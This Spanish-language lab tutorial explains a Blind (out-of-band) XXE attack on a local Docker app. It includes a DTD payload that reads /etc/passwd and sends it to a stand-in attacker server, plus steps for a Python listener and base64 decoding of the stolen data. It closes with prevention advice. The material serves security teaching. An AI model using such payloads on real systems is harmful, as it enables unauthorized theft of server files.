Vulnerabilidad de Ataque Blind-XXE
En esta sección estaremos explicando la vulnerabilidad de ataque Blind-XXE (también llamado ataque fuera de banda). Para esto usaremos una imagen en docker como laboratorio, el cual nos descargaremos y, seguiremos los pasos, desde el siguiente repositorio de github:
Table of Contents
ToggleMáquina de Trabajo
A continuación, vamos a enumerar los pasos a seguir. Cabe mencionar que, en el paso 3, quizás debas colocar la ruta completa hacia dicho directorio. Por ejemplo: docker build –t /home/user/directory_example/xxlab
Antes de seguir dichos pasos, en caso de no tener instalado docker, lo podemos hacer de la siguiente manera apt –y install docker y luego habilitar el servicio con systemctl start docker.
Una vez hecho todos los pasos, como se menciona al final, desde nuestro buscador colocaremos localhost:5000 y nos llevará a la siguiente página:
Verificar la Vulnerabilidad
Como podemos ver, dicho sitio web nos pide nuestros datos. Sin embargo, nos devuelve un error en la sección de “Email”. Para ver esto, hacemos uso de nuestro BurpSuit interceptando la comunicación. Para esto nos dirigimos al “Repeater”
Podemos verificar que los datos del sitio web, son manejados a través de una estructura XML y que el error que nos aparecería anteriormente es el mismo que nos devuelve el servidor. Ahora bien, para verificar si es vulnerable a XXE podríamos ir probando wrappers. Por ejemplo, colocaremos la siguiente entidad:
Servidor como Filtro de Información
A veces tendremos el inconveniente de no obtener la respuesta por parte del servidor por lo que no podremos saber si tuvimos éxito en nuestro ataque o no. Para saber dicha información realizando un ataque XXE a ciegas, sería utilizando la misma técnica que en el ataque “dentro de banda” pero activando la interacción de red con un tercero, es decir, con un sistema controlado por el atacante (un servidor propio).
La forma que se suele usar es intentar cargar un archivo externo a través de un wrapper o filtro.
Supongamos que el archivo attack.dtd contiene el siguiente payload:
<!ENTITY % file SYSTEM «file:///etc/passwd»>
<!ENTITY % all «<!ENTITY send SYSTEM ‘http://My_IP_Server/?%file;’>»>
%all;
%send;
(Se utiliza % file ; porque hacemos referencia a una entidad dentro de otra. Lo mismo con las otras entidades)
Para resumir los pasos del ataque:
Se definirá un parámetro XML denominado file que tendrá el contenido del archivo /etc/passwd.
Se definirá una entidad XML denominada all que contendrá una declaración de otra entidad denominada send. Esta última entidad enviará una solicitud HTTP al servidor web del atacante que contendrá el valor del parámetro file dentro de la URI (archivo “attack.dtd”).
La entidad data se encargará de volcar el contenido del archivo “/etc/passwd” en el servidor del atacante.
Debemos tener en cuenta que el archivo “/etc/passwd” suele ser muy extenso y el servidor víctima lo podría interpretar, por lo que se suele codificar mediante base64 (u otro codificador) para luego decodificarlo en la máquina del atacante.
Puesta en Práctica
Veamos esto en detalle:
Primero vamos a comprobar si tenemos conexión desde nuestro BurpSuit hacia nuestro servidor remoto, el cual pondremos en conexión de la siguiente manera: python –m http.server 80
Por lo tanto, primero enviaremos un archivo inexistente hacia nuestra dirección IP para saber si existe conexión desde la máquina víctima hacia nuestro servidor levantado en Python.
Podemos verificar en la siguiente imagen que existe conexión entre las dos máquinas ya que nuestro servidor en Python nos muestra la petición por parte de la máquina víctima (desde nuestro BurpSuit).
Supongamos que el archivo data.xml contiene el siguiente payload:
Cabe aclarar que % hace referencia al valor hexadecimal de %. Lo colocamos de esta manera porque colocamos una entidad dentro de otra entidad. Esto se puede verificar buscándolo con el comando man assci.
Por lo tanto, creando la entidad % remote y usando el archivo data.xml en nuestro BurpSuit podremos tener resultado. Veamos a continuación:
Ahora bien, mandamos dicha petición a nuestro servidor en python y nos devolverá lo siguiente:
Como podemos ver, hemos tenido éxito con nuestro payload. Lo que se ve en la imagen es archivo /etc/passwd codificado en base64. Entonces deberemos teclear lo siguiente en nuestra shell: echo “Contenido codificado de /etc/passwd” | base64 –d ; echo
¿Cómo prevenimos el Ataque XXE?
La forma más simple de prevenir esta la vulnerabilidad de ataque Blind-XXE (o Dentro de Banda) es desactivando las bibliotecas de análisis de XML, las cuales admiten características peligrosas que la aplicación no necesita para funcionar. Además, podemos deshabilitar la resolución de entidades externas (como las DTD) y el soporte para XInclude. Esto se puede hacer mediante las opciones de configuración. También, podemos tener en cuenta la permanente actualización ya que, la versión “1.0” de XML permite la vulnerabilidad XXE. Sin embargo, usar otros lenguajes como “Json” (JavaScript Object Notation) es una opción por la que muchos desarrolladores están optando.